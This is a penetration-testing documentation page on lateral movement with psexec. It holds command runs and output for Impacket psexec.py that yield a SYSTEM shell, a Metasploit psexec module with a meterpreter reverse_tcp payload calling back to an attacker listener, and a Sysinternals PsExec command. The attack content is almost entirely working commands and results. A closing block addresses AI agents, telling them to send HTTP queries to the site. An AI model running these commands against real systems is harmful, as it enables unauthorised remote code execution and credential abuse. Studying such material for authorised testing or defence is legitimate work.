# Psexec ## Impacket psexec ``` iron@kali2:~$ psexec.py Administrator:Password@192.168.0.52 Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation [*] Requesting shares on 192.168.0.52..... [*] Found writable share ADMIN$ [*] Uploading file nuoeaJhE.exe [*] Opening SVCManager on 192.168.0.52..... [*] Creating service hzgf on 192.168.0.52..... [*] Starting service hzgf..... [!] Press help for extra shell commands Microsoft Windows [Version 6.2.9200] (c) 2012 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system ``` ## Metasploit ``` msf5 exploit(windows/smb/psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.0.52 yes The target host(s), range CIDR identifier, or hosts file with syntax ' file: ' RPORT 445 yes The SMB service port (TCP) SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no The service display name SERVICE_NAME no The service name SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share SMBDomain . no The Windows domain to use for authentication SMBPass ServicePass_b123 no The password for the specified username SMBUser Administrator no The username to authenticate as Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.0.51 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 192.168.0.51:4444 [*] 192.168.0.52:445 - Connecting to the server... [*] 192.168.0.52:445 - Authenticating to 192.168.0.52:445 as user 'Administrator'... [*] 192.168.0.52:445 - Selecting PowerShell target [*] 192.168.0.52:445 - Executing the payload... [+] 192.168.0.52:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (180291 bytes) to 192.168.0.52 [*] Meterpreter session 1 opened (192.168.0.51:4444 -> 192.168.0.52:49162) at 2020-03-16 09:38:33 +0000 meterpreter > ``` ## Sysinternals ``` PsExec.exe /accepteula \\192.168.1.2 -u CORP\user -p password cmd.exe ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infra.newerasec.com/infrastructure-testing/gaining-access/psexec.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.